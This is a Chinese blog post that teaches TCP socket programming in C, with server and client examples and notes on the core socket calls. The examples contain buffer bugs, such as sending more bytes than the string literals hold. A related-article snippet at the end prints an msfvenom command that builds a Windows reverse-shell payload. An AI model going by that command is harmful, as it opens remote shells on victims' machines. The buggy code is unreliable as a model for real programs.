https://www.cnblogs.com/ashen/p/4474360.html

#include <sys/socket.h>
2 #include <stdlib.h>
3 #include <string.h>
4 #include <stdio.h>
5 #include <linux/in.h>
6 #include <sys/types.h>
7
8 #define PORT 7891
9
10 int main()
11 {
12 int socketfd,accsocfd;
13 struct sockaddr_in s_addr,r_addr;
14 socklen_t len;
15 int recdata;
16 char buf[1024];
17 memset(buf,0x00,sizeof(buf));
18 //创建套接字
19 if(-1 == (socketfd = socket(AF_INET,SOCK_STREAM,0))){
20 printf("socketfd is created failed!\n");
21 return -1;
22 } ;
23 printf("socket create success!\n");
24
25 //将本地协议地址与sockfd绑定
26 memset(&s_addr,0x00,sizeof(s_addr));
27 s_addr.sin_family = PF_INET;
28 s_addr.sin_port = htons(PORT);
29 s_addr.sin_addr.s_addr = htons(INADDR_ANY);//inet_addr_any 一个服务器可能有多个网卡,随便从中选1个
30 if(-1 == bind(socketfd,(struct sockaddr*)&s_addr,sizeof(s_addr))){
31 printf("bind failed!\n");
32 return -1;
33 }
34 printf("bind suc!\n");
35
36 //监听本地端口
37 if(-1 == listen(socketfd,10)){
38 printf("listen failed!\n");
39 return -1;
40 }
41 printf("listen suc!\n");
42
43 while(1){
44 len = sizeof(struct sockaddr);
45 accsocfd = accept(socketfd,(struct sockaddr *)&r_addr,&len);
46 if(-1 == accsocfd){
47 printf("accept failed!\n");
48 return -1;
49 }
50 printf("accept suc !\nServer get connect from %x port is %x",ntohl(r_addr.sin_addr.s_addr),ntohl(r_addr.sin_port));
51
52
53 //向客服端发送数据
54 if(-1 == write(accsocfd,"this is first data from sr!\n",50)){
55 printf("write failed!\n");
56 return -1;
57 }
58 printf("write suc!\n");
59
60
61 printf("*********************\n");
62
63 char recvBuf[100];
64
65 if(-1 ==recv(accsocfd, recvBuf, 100, 0)){
66 printf("recv failed!\n");
67 return -1;
68 }
69 printf("recv suc!\n");
70 printf("recvBuf = [%s]\n",recvBuf);
71 printf("recvBuf len is = [%d]\n",strlen(recvBuf));
72
73 close(accsocfd);
74
75 }
76 close(socketfd);
77 return 0;
78 }

//c.c

#include<sys/socket.h>
#include<string.h>
#include<linux/in.h>
#include<sys/types.h>
#include<stdio.h>
#include<stdlib.h>
/*流程: TCP:(面向连接、可靠) 服务器端 WSAStartup->socket->bind->listen->accept->recv/send->closesocket->WSACleanup
客户端:WSAStartup->socket->connect->recv/send->closesocket->WSACleanup
*/
#define PORT 7891
int main()
{
int csocfd;
int recdata;
char buf[1024];
memset(buf,0x00,sizeof(buf));
struct sockaddr_in mysockaddr;
//创建套接字
if(-1 == (csocfd = socket(PF_INET,SOCK_STREAM,0))){
printf("csocfd failed!\n");
return -1;
}
printf("csocfd suc!\n"); //设置服务器的地址 memset(&mysockaddr,0x00,sizeof(mysockaddr));
mysockaddr.sin_family = PF_INET;
mysockaddr.sin_port = htons(PORT);
inet_pton(AF_INET,"172.19.230.113",&mysockaddr.sin_addr.s_addr);
//s_add.sin_addr.s_addr= inet_addr("172.19.230.113"); /* ip转换为4字节整形,使用时需要根据服务端ip进行更改 */ //connect to the sr
if(-1 == connect(csocfd,(struct sockaddr*)&mysockaddr,sizeof(mysockaddr))){
printf("connect failed!\n");
return -1;
}
printf("connect suc!\n"); if(-1 == (recdata = read(csocfd,buf,sizeof(buf)))){
printf("read failed!\n");
return -1;
}
printf("read suc!\n");
buf[recdata ] = '\0';
printf("recdata = [%s]\n",buf);
printf("recdata len is = [%d]\n",recdata); //memcpy(sendbuf,"this is data from cl!\n",);
if(-1 == send(csocfd, "this is data from cl!", 100, 0)){
printf("send faile\n");
return -1;
}
printf("send suc!\n"); close(csocfd); }

学习笔记也附上吧

0.socket编程的目的是为了解决网络上不同主机上的进程之间通信问题
网络中的数据传输实际上是一种I/O操作
socket描述符可以同文件操作符进行比较,可以用read、write、close等操作,socket代表通信管道的一个端点

1.C/S模式(以面向连接为例子) 
服务器工作过程:
打开一个通信通道,并告诉本地主机,服务器开了一特定端口接受客服请求。
等待客户请求。
接收到客户请求之后发送应答信号,创建一个新线程处理请求。
服务完成之后关闭通信通道和线程
继续等待客户请求。
客服端的工作过程:
打开一通信通道,连接到服务器的制定端口。
向服务器发送请求,并等待接受应答。
根据需要继续发送请求
请求结束后关闭通信信道
2. Socket 类型常用的有2种:流式:SOCK_STREAM 数据报:SOCK_DGRAM
主机字节序数据转换成网络字节序数据
uint32_t htonl(uint32_t hostint32);
uint16_t htons(uint16_t hostint16);
网络字节序数据转换成主机字节序数据
uint32_t ntohl(uint32_t netint32);
uint16_t ntohs(uint16_t netint16);

3.创建套接字
int socket(int family, int type,intprotocol);
功能:创建一个用于网络通信的I/O描述符(套接字)
参数:family:协议族 AF_INET,AF_INET6,AF_LOCAL,AF_ROUTE,AF_KEY
type: 套接字类型 套接字类型
protocol 协议类别 0,IPPROTO_TCP,IPPROTO_UDP,IPPROTO_SCTP
返回值:套接字
特点:(1)使用socket创建套接字时,系统不会分配端口 (2)使用socket创建的是主动套接字,但作为服务器,
需要被动等待别人的连接
头文件:#include<sys/socket.h>
示例:
int sockfd = 0;
sockfd = socket(AF_INET,SOCK_STREAM,0);
if( sockfd< 0){"failed !";exit(-1);}
4.服务器
4.1 绑定
int bind(int sockfd,const struct socketaddr *myaddr,socklen_t addlen);
功能:将本地协议地址与sockfd绑定
参数:sockfd ... myaddr:指向特定于协议的地址结构指针 addrlen:该地址结构的长度
头文件:<sys/socket.h>
备注: 二者的占用的内存大小是一致的,因此可以互相转化,从这个意义上说,他们并无区别。
sockaddr常用于bind、connect、recvfrom、sendto等函数的参数,指明地址信息。是一种通用的套接字地址。而sockaddr_in 是internet环境下套接字的地址形式。

//usr/include/bits/socket.h 
struct sockaddr{
sa_family_t sa_family; //2字节 /* 协议族 */
char sa_data[14]; //14字节 地址+端口号*/
};
// sockaddr_in是在头文件 /usr/include/netinet/in.h 中定义的
typedef uint32_t in_addr_t;
struct in_addr{
in_addr_t s_addr; //4字节
};
struct sockaddr_in{
sa_family_t sin_family; //2字节 /* 协议族 */
in_port_t sin_port; //2字节 /* Port number. 端口号 */
structin_addr sin_addr; //4字节/* Internet address. IP地址 */
unsigned char sin_zero[8]; //8字节 /* Pad to size of `struct sockaddr'. 用于填充的0字节 */
};
示例:
int sockfd;
struct sockadd_in mysock;
sockfd = socket(AF_INET,SOCKET_STREAM,0);

bzero(&mysock,sizeof(mysock));
mysock.sin_family = AF_INET;
mysock.sin_port = htons(800);
mysock.sin_addr.saddr = inet_addr("192.168.2.45") ; 
bind(sockfd,(struct sockaddr *)&mysock,sizeof(struct sockaddr));

//htons()作用是将端口号由主机字节序转换为网络字节序的整数值。(host to net)
//inet_addr()作用是将一个IP字符串转化为一个网络字节序的整数值,用于sockaddr_in.sin_addr.s_addr。
//inet_ntoa()作用是将一个sin_addr结构体输出成IP字符串(network to ascii)
4.2 监听
int listen(int sockfd, int backlog);
功能:将套接字由主动修改为被动 使操作系统为该套接字设置一个连接队列,用来记录所有连接到该套接字的连接
参数: sockfd:socket监听套接字 sockfd:socket监听套接字
返回值: 0 成功
头文件: <sys/socket.h>
示例:
int err_log;
err_log = listen(sockfd,10); 
4.3 从连接队列中取出一个已经建立的连接
int accept(int sockfd,struct sockaddr*cliaddr, socklen_t*addrlen);
功能:从已连接队列中取出一个已经建立的连接,如果没有任何连接可用,则进入睡眠等待
参数:sockfd:socket监听套接字
cliaddr:存放客服端套接字的地址结构,传出参数
addrlen:套接字地址结构长度
返回值:已连接的套接字(一个新的套接字,原先的套接字仍在监听)
头文件: <sys/socket.h>
示例:
struct sockaddr_in c_addr; 
struct sockadd_in mysock;
int sockfd;
char buf[BUFLEN]; 
int newfd; 
/*建立socket*/ 
sockfd = socket(AF_INET, SOCK_STREAM, 0);

bzero(&mysock,sizeof(mysock));
mysock.sin_family = AF_INET;
mysock.sin_port = htons(800);
mysock.sin_addr.saddr = inet_addr("192.168.2.45") ; 
/*把地址和本地端口帮定到套接字上*/ 
bind(sockfd,(struct sockaddr *)&mysock,sizeof(struct sockaddr));
/*侦听本地端口*/ 
listen(sockfd,11) ;
while(1){ 
newfd = accept(sockfd,(struct sockaddr*) &c_addr, &sizeof(c_addr));//生成一个新的套接字
printf("当前处理的是%s: %d\n",inet_ntoa(c_addr.sin_addr),ntohs(c_addr.sin_port));

备注:accept()函数 准备好了,系统调用accept()会有点古怪的地方的!你可以想象发生 这样的事情:有人从很远的地方通过一个你在侦听 (listen()) 的端口连接 (connect()) 到你的机器。它的连接将加入到等待接受 (accept()) 的队列 中。你调用 accept() 告诉它你有空闲的连接。它将返回一个新的套接字文 件描述符!这样你就有两个套接字了,原来的一个还在侦听你的那个端口, 新的在准备发送 (send()) 和接收 ( recv()) 数据。这就是这个过程! 
5.客服端(需要知道服务器的ip及端口号)
5.1 int connect(int sockfd,const struct sockaddr *addr,socklen_t len);
功能:主动跟服务器建立链接,建立链接之后传送数据(tcp协议)
部分参数说明:addr 需要链接的服务器地址结构
返回值:0 成功
头文件:#include <sys/socket.h>
示例:int sockfd;
int resCon;
//创建套结字
sockfd = socket(AF_INET,SOCKET_STREAM,0);
if(sockfd <0){ ... }
struct sockadd_in mysock;
memset(&mysock,0x00,sizeof(mysock));
mysock.sin_family = AF_INET;
mysock.sin_port = htons(8999);

mysock.sin_addr.saddr = inet_addr("192.168.2.45");
//这里也可以用inet_pton来转换 inet_pton(AF_INET,"192.168.2.45",&mysock.sin_addr.saddr);
//inet_pton:inet_pton 是inet_addr的扩展,将“点分十进制” -> “二进制整数”,int inet_pton(int af, const char *src, void *dst);反转inet_ntop

//主动连接服务器
resCon = connect(sockfd,(struct sockadd *)&mysock,sizeof(mysock));
if(resCon){...}

6.数据传送
6.1 通信
#define MAXLEN 512
while(1){
char send_buf[512];
char recv_buf[512];
memset(send_buf,0x00,sizeof(send_buf));
memset(recv_buf,0x00,sizeof(recv_buf));

//从流中读取MAXLEN-1个数据存入send_buf中
fgets(send_buf,MAXLEN,stdin);

write(sockfd,send_buf,strlen(send_buf));
read(sockfd,recv_buf,MAXLEN);
/*
recv和send 
  recv和send函数提供了和read和write差不多的功能.但是他们提供了第四个参数来控制读写操作。
int recv(int sockfd,void *buf,int len,int flags) 
int send(int sockfd,void *buf,int len,int flags) 
前面的三个参数和read,write相同,第四个参数能够是0或是以下的组合

*/

printf("recv_buf = [%s]",recv_buf);

}

close(sockfd);
6.2 发送数据与接受数据
ssize_t send(int sockfd, const void* buf,size_t nbytes, int flags);
功能:用于发送数据,不可以用tcp发送0长度的数据
部分参数说明;buf 待发送的数据缓存,nbytes发送的长度,flags套接字的标志,通常为0
返回值:成功发送的字节数

ssize_t recv(int sockfd, void *buf,size_t nbytes, int flags);
功能:接受网络数据
部分参数说明:buf 指向接受网络数据的缓冲区,nbytes 缓冲区的大小
7.关闭连接
关闭一个代表已连接套接字将导致另一端接收到一个0长度的数据包。
做服务器时:(1)关闭socket创建的监听套接字将导致服务器无法继续接受新的连接,但不会影响已经建立的连接
(2)关闭accept返回的已连接套接字将导致它所代表的连接被关闭,但不会影响服务器的监听

很多时候我都在期待3年后的自己是一个什么样的,5年后自己又是一个什么样的。因为未知,所以生命才更加精彩。

c--socket通信TCP篇的更多相关文章

  1. php socket通信(tcp/udp)

    注意 1.在socket_bind的时候ip地址不能真回环地址如127.0.0.1 2.server.php后台跑起来的时候 nohup php server.php > /var/tmp/a. ...

  2. Go语言中Socket通信TCP服务端

    1.用法: (1)定义远程IP地址.使用net.ResolveTCPAddr()方法,定义一个TCP地址,做为本机监听地址. (2)使用net.ListenTCP("tcp",lo ...

  3. socket通信(TCP和UDP)

    1.TCP 2.UDP

  4. 基于TCP和UDP的Socket通信

    TCP的Socket通信 TCP是面向连接的,安全的协议,它是一对一的关系 server client 上面只是单个客户端同服务器通信,可使用多线程编程实现多个客户端的通信 UDP的Socket通信 ...

  5. IOS 基于TCP的socket通信详解(原创)

    最近在整理通信层相关知识,这篇文章是边整理边写的,有些地方可能不够准确,还请各位路过的大牛专家指出来.这次整理的socket通信是基于TCP的,实现方式是GCD形式,以下记录的都是些理论知识,方便自己 ...

  6. 网络编程之Socket的TCP协议实现客户端与客户端之间的通信

    我认为当你学完某个知识点后,最好是做一个实实在在的小案例.这样才能更好对知识的运用与掌握 如果你看了我前两篇关于socket通信原理的入门文章.我相信对于做出我这个小案列是完全没有问题的!! 既然是小 ...

  7. TCP Socket通信详细过程

    下面这篇文章是参考"骏马金龙"博客中 不可不知的socket和TCP连接过程 https://www.cnblogs.com/f-ck-need-u/p/7623252.html ...

  8. C++写Socket——TCP篇(0)建立连接及双方传输数据

    满山的红叶--飘落之时-- 最近接触了点关于用C++写socket的东西,这里总结下. 这里主要是关于TCP的,TCP的特点什么的相关介绍在我另一篇博文里,所以这里直接动手吧. 我们先在windows ...

  9. Socket 通信原理(Android客户端和服务器以TCP&&UDP方式互通)

    转载地址:http://blog.csdn.net/mad1989/article/details/9147661 ZERO.前言 有关通信原理内容是在网上或百科整理得到,代码部分为本人所写,如果不当 ...

随机推荐

  1. PHP 注册错误和异常处理机制

    注册错误和异常处理机制有三个PHP函数需要学习 1. register_shutdown_function('Bootstrap\Library\Frame::fatalError'); 2. set ...

  2. Scala数据类型的继承结构

    Scala中,所有的值都是类对象,而所有的类,包括值类型,都最终继承自一个统一的根类型Any.统一类型,是Scala的又一大特点.更特别的是,Scala中还定义了几个底层类(Bottom Class) ...

  3. 浅谈Python web框架

    一.Python web框架 Web Framework,Ruby的世界Rails一统江湖,而Python则是一个百花齐放的世界,各种micro-framework.framework不可胜数,不完全 ...

  4. U盘安装ubuntu 16.04 遇到 gfxboot.c32:not a COM32R image boot 的解决方法

    从U盘启动的时候出现了gfxboot.c32:not a COM32R image的问题,经过研究发现按下Tab键,会出现live live-install check memtest hd main ...

  5. 2019.03.18 连接my sql

    11.登陆功能(链接MySQL) python manage.py starapp movie 新建一个应用模块之后要记得到setting添加这个应用模块 在python2中你还有去导入一个MySQL ...

  6. gem安装出错了

    1.首先是SSL出错. SSL 证书错误 正常情况下,你是不会遇到 SSL 证书错误的,除非你的 Ruby 安装方式不正确. 如果遇到 SSL 证书问题,你又无法解决,请修改 ~/.gemrc 文件, ...

  7. xmlns:dubbo 路径错误

    It goes normal when change <beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" ...

  8. react-demo

    实现博客动态的评论.动态的点赞.评论的删除. 百度云链接:https://pan.baidu.com/s/199l3iu0qhM6qSe9CBnHFzw 提取码:n4w6

  9. VC2012+QT新建一个控制台程序

    1.新建一个项目,选择控制台程序 2.下一步.project setting 可以包含模块,可以再这选择也可以之后选择 3.配置工程属性 1)需要源码的话添加VC++目录里的源目录 2)包含头文件   ...

  10. Msfvenom木马使用及TheFatRat工具

    msfvenom –platform windows -p windows/x64/shell/reverse_tcp LHOST=192.168.168.111 LPORT=3333 EXITFUN ...